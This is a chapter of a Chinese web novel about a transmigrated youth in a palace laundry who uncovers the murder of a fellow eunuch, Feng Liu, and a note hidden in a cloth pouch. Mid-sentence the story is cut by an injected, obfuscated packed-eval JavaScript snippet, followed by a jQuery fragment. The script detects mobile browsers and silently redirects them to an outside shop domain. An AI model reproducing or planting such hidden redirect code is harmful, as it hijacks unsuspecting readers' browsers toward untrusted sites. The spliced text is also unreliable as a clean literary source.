冯七在浣衣局待了半个月，才真正弄明白一件事：这座皇宫里，最不值钱的是命，最值钱的也是命。
不值钱，是因为死一个人太容易了。值钱，是因为活着的人要用命去换别的东西——银钱、恩宠、前程，或者仅仅是明天还能吃上一口饭。
这半个月里，他每天天不亮就起来，洗衣裳，晾衣裳，收衣裳，再洗衣裳。手泡在皂角水里，泡得发白起皱，指甲缝里永远嵌着洗不掉的污渍。到了晚上，十个手指头肿得像胡萝卜，碰什么都疼。
但他没有抱怨。
不是不想，是不敢。
这里没有人会听你抱怨。你抱怨，只会让人觉得你软弱。而在这座皇宫里，软弱就是死。
小顺子倒是经常抱怨。他抱怨窝头太硬，抱怨米汤太稀，抱怨周公公太凶，抱怨院子里的枯藤刺伤了他的手。他抱怨的时候总是压低声音，但冯七每次都离他远一点——不是嫌弃，是怕。
怕风把这些话吹到不该听见的人耳朵里。
“你这个人，胆子也太小了。”有一天晚上，小顺子蹲在井边洗脸，看着远远坐在台阶上的冯七，不以为然地撇撇嘴，“我说话的声音比蚊子还小，谁能听见？”
冯七没理他。
他正在看月亮。
宫里的月亮和宫外的月亮不一样。宫外的月亮是圆的、亮的，照在田野上，照在河面上，照在赶路人的头顶上。宫里的月亮是方的——被四四方方的天井框住了，像一块发白的豆腐，挂在头顶，怎么也够不着。
“冯七，你说咱们将来能出宫吗？”
小顺子洗完脸，走到他旁边坐下，也抬头看月亮。
“不知道。”
“我听人说，太监到了一定年纪，要是没死，就能放出去。回老家，买几亩地，安安心心过日子。”
冯七看了他一眼。
小顺子的眼睛在月光下亮晶晶的，里面有憧憬，有期待，还有一种他这个年纪不该有的天真。
“你老家在哪儿？”冯七问。
“山东。济南府。”小顺子说起老家，声音都轻快了几分，“我家门口有一条河，河上有座石桥，桥头有一棵大槐树。每年春天，槐花开的时候，满树都是白的，风一吹，花瓣就落进河里，跟着水流走……”
他的声音慢慢低下去，低到最后，变成了一声轻得几乎听不见的叹息。
“我不知道还能不能回去了。”
冯七没有接话。
他想起自己的老家。冯琦的老家。在南方的一座小城，城中也有一条河，河边也有树。不是槐树，是柳树。春天的时候，柳絮漫天飞舞，像下雪一样。
那些记忆已经变得很模糊了，像隔着一层磨砂玻璃。
有时候他觉得自己正在慢慢变成另一个人。冯七正在吞噬冯琦，就像这个时代正在吞噬他一样。
“睡吧。”他站起来，拍了拍袍子上的灰，“明天还要早起。”
小顺子“嗯”了一声，跟着他往回走。
走到屋子门口的时候，冯七忽然停下脚步。
“怎么了？”小顺子问。
冯七没说话，转头看向院子东边。
那口井静静地立在那里，井口的青石在月光下泛着冷冷的白光。
他在想冯六。
入宫半个月，他对冯六的了解只有三个信息：一，冯六是和他同一批进宫的太监，排在他前面；二，冯六死了，吊死在浣衣局的井里；三，冯六的死，没有人问，没有人查，甚至没有人提。
就好像这个人从来没有存在过。
但冯七知道冯六存在过。因为冯六的名字，还写在周公公那本旧册子上。有一次他路过周公公身边，无意中瞥了一眼翻开的册页，在“冯七”两个字的前面，看到了一个被墨汁涂掉的黑块。
墨汁下面是两个字。
冯六。
周公公为什么要把冯六的名字涂掉？是为了抹去这个人的存在，还是有别的什么原因？
冯七不知道。但他知道一件事：在这座皇宫里，被涂掉的名字，比被记住的名字多得多。
第二天一早，冯七去领活的时候，发现院子里多了一个人。
是个四十来岁的太监，白白净净的，穿着一件半新的墨绿色袍子，腰间挂着一块成色不错的玉佩。他站在周公公面前，微微仰着头，下巴抬得很高，像是在跟一个下人说话。
周公公坐在太师椅上，腰板挺得比平时更直，脸上的表情却看不出什么端倪。
“周公公，这几日的衣裳，上面催得急。您这边要是人手不够，咱家可以从别处调几个人来帮忙。”墨绿袍子太监的声音不高不低，带着一种恰到好处的傲慢。
“不劳孙公公费心，浣衣局的事，浣衣局自己能办好。”周公公的语气同样不卑不亢。
两个太监对视了一眼。
那一眼里有很多东西，但冯七看不懂。
他低下头，端着木盆快步走过。
“站住。”
冯七站住了。
是那个墨绿袍子的孙公公。
“你，抬起头来。”
冯七慢慢抬起头。
孙公公走过来，居高临下地打量着他。那目光像一把刀，从上到下，从下到上，把冯七整个人剖开了，又重新拼起来。
“多大了？”
“回公公，十五。”
“入宫多久了？”
“半个月。”
“半个月……”孙公公点了点头，忽然笑了笑，“长得倒是不错。叫什么名字？”
“冯七。”
“冯七。”孙公公把这名字在舌尖上滚了一圈，像是在品尝什么味道，“冯七，你愿不愿意换个地方当差？咱家那儿活儿轻，油水足，比你在这儿洗衣裳强多了。”
院子里安静了一瞬。
所有少年都停下了手里的活，偷偷看着这一幕。
冯七感觉到周公公的目光也落在自己身上，像两块烧红的炭。
他低下头，声音很平静：“多谢公公抬爱。小的刚入宫，什么都不懂，怕去了贵人跟前伺候不周，反倒坏了公公的事。还是先在浣衣局学学规矩，等学好了，再求公公提拔。”
孙公公的笑容僵了一瞬。
他看着冯七，目光变了变，从审视变成了饶有兴味。
“倒是个懂事的。”他拍了拍冯七的肩膀，力道不轻不重，“那咱家就不勉强了。不过你要记住——这宫里，机会不等人。”
说完，他转身走了。墨绿色的袍角在晨风里轻轻摆动，像一片飘动的荷叶。
周公公看着他的背影消失在月亮门外，这才收回目光，看向冯七。
“过来。”
冯七端着木盆走过去。
“你刚才说的那些话，是谁教你的？”
“没有人教，是小的一时嘴快，胡乱说的。”
周公公盯着他看了好一会儿，忽然笑了一下。那笑容很淡，淡到几乎看不出来，但冯七看见了。
“嘴快不是坏事。嘴太快了，才是。”周公公拿起竹条，在椅子扶手上轻轻敲了两下，“那个孙公公是敬事房的，专门管宫里人事调派。他想把你从浣衣局挖走，不是看上了你的长相，是想在浣衣局安插自己的人。”
冯七没有说话，但心里已经明白了。
他刚才如果答应了孙公公，就等于得罪了周公公。得罪了周公公，他在浣衣局的日子就不好过了。可如果不答应，又会得罪孙公公。所以他刚才那番话，明面上是自谦，实际上是在两不得罪的前提下，选择了暂时留在浣衣局。
周公公看出来了。
“咱家不知道你是真聪明，还是运气好。”周公公拿起册子翻了翻，“但咱家要告诉你一句实话——在这宫里，聪明人活不长。知道为什么吗？”
“请公公指点。”
“因为聪明人总觉得自己比别人聪明，所以总想耍聪明。但他们忘了，这座宫里的人，没有一个是傻子。”
周公公合上册子，看着冯七的眼睛。
“你要学的不是聪明。是分寸。知道什么时候该说话，什么时候该闭嘴。知道什么事能做，什么事不能做。知道什么人能信，什么人不能信。”
“这，才是宫里真正的规矩。”
冯七站在那里，手里端着木盆，盆里的衣裳浸在皂角水里，水滴顺着盆底往下淌，一滴一滴地落在青砖地面上，发出细微的、几乎听不见的声响。
他忽然想起一件自己一直忽略的事。
周公公那天问他，是谁带他们进宫的。他说是一个姓马的公公，右脸有颗痣。
周公公当时的反应很微妙。
不是惊讶，不是怀疑，而是——
确认。
像是在确认一件他本来就知道的事。
“周公公。”冯七忽然开口。
“嗯？”
“冯六……是怎么死的？”
院子里彻底安静了。
连水声都没有了。
周公公看着冯七，眼睛里的光一点一点地收回去，像退潮的海水，露出了底下黑色的礁石。
过了很久，他开口了。
声音很轻，轻到只有冯七一个人能听见。
“你知道，一个人是怎么在井里吊死的吗？”
冯七的心猛地一缩。
“井口那么小，绳子怎么挂？脖子怎么套？就算这些都做到了，脚底下悬空，人一蹬腿，井壁就蹭得满身伤。仵作一验，什么都瞒不住。”
周公公的竹条在扶手上轻轻地、轻轻地敲了一下。
“所以，能从井里吊死的人，都是先死了，才被吊进去的。”
冯七感觉自己的血液在那一刻冻住了。
“冯六的事，不要再问了。”周公公站起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680410|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，把竹条别回腰间，“你只要记住，在这宫里，有时候，不是你知道了什么，而是别人以为你知道什么。”
他走了两步，又停下来，没有回头。
“那个布包，别打开。至少现在别。”
冯七的手下意识地摸向胸口。
红绳还在。布包还在。
周公公知道布包的事。
他什么都知道。
冯七站在原地，端着木盆，手在微微发抖。
不是因为冷。
是因为他终于意识到，自己穿越过来的这具身体，不是一具普通的身体。冯六的死，马公公的来历，周公公的提醒，孙公公的拉拢——所有这些，都指向同一个方向。
他来到这个时代，或许并不是偶然。
而那个布包里藏着的东西，或许就是答案。
天色渐渐亮了。晨光从天井上方洒下来，照在院子里的青砖上，照在那口井的青石井沿上，照在那个慢慢蹲下来、继续搓洗衣裳的少年身上。
他的动作很慢，很稳。
但他的手，一直都在抖。
那天晚上，冯七做了一个梦。
梦里他站在一条河边，河水是黑色的，河面上漂满了花瓣。不是槐花，是柳絮。柳絮像雪一样落在水面上，被黑水浸透，沉下去，再也看不见。
河对岸站着一个人。看不清脸，只能看见一个轮廓。
“你是谁？”冯七问。
那个人没有回答。
他慢慢转过身，朝黑暗中走去。
走了几步，他停下来，低下头，看着自己的胸口。
他的胸口上挂着一根红绳。和冯七脖子上一模一样的红绳。
冯七想追上去，但脚像被钉在地上一样，动不了。
“你到底是谁？”
那个人又停了片刻。
然后他开口了，声音很轻，轻得像风穿过枯树林时的呜咽。
“我是在你之前的那个人。”
冯七猛地睁开眼。
天还没亮。通铺上的少年们还在熟睡，小顺子蜷在他旁边，嘴里含混地嘟囔着什么梦话。
冯七坐起来，摸向胸口。
红绳还在。布包还在。
他攥着布包，攥了很久。
然后，他把布包从脖子上取下来，握在手心里。
布包很小，只有大拇指那么大，用一块灰白色的粗布缝成，针脚歪歪扭扭的，像是小孩子的手艺。布包表面已经被汗水浸得发黄，边角磨出了毛边。
冯七盯着它看了很久。
月光从窗户纸外面透进来，落在他的手心里，把那个小布包照得发白。
周公说的话在他脑海里转了一整天了。
“那个布包，别打开。至少现在别。”
但他必须打开。
不是因为好奇。
是因为他需要知道，这具身体原来的主人——真正的冯七——到底想告诉他什么。
他低下头，用指甲轻轻挑开了布包的缝线。
布包散开了。
里面的东西落在他的手心里。
不是玉扳指。
是一缕头发。
很细，很黑，用一根红线捆着。红线打了三个结，结打得紧紧的，像是系它的人用了很大的力气。
头发旁边，还有一张叠得方方正正的小纸条。
纸已经泛黄了，边角都脆了，冯七小心地把它展开。
纸条上只有两行字。
不是毛笔写的，是用什么东西刻上去的。刻得很深，几乎要把纸戳穿了。字迹歪歪斜斜的，有的笔画断了，有的歪了，像是小孩子的手笔。
第一行写着：大哥，我替你。
第二行写着：冯六
冯七盯着那两行字，盯了很久。
窗外的月亮不知道什么时候被云遮住了，屋子里暗了下来。
冯七把纸条重新叠好，和那缕头发一起放回布包里，又把布包系好，挂在脖子上。
布包贴着胸口，温热。
他躺下来，闭上眼睛。
黑暗中，他忽然想起了小顺子说的那棵槐树。
槐花开的时候，满树都是白的，风一吹，花瓣就落进河里，跟着水流走。
他想，那一定是很美的。
他的手不再抖了。
但他的眼睛里，有泪。
不是为了自己。
是为了那个叫冯六的人。那个在井里吊死的人。那个在纸条上写下“大哥，我替你”的人。
原来这副身体，不是他自己的。
是别人替给他的，用命替的。
窗外，不知道什么时候起了风。风穿过院子里的枯藤，发出呜呜的声音，像哭声，又像笑声。
浣衣局的井，在黑暗中静静地立着。
井口的青石泛着冷光，像是在等待下一个。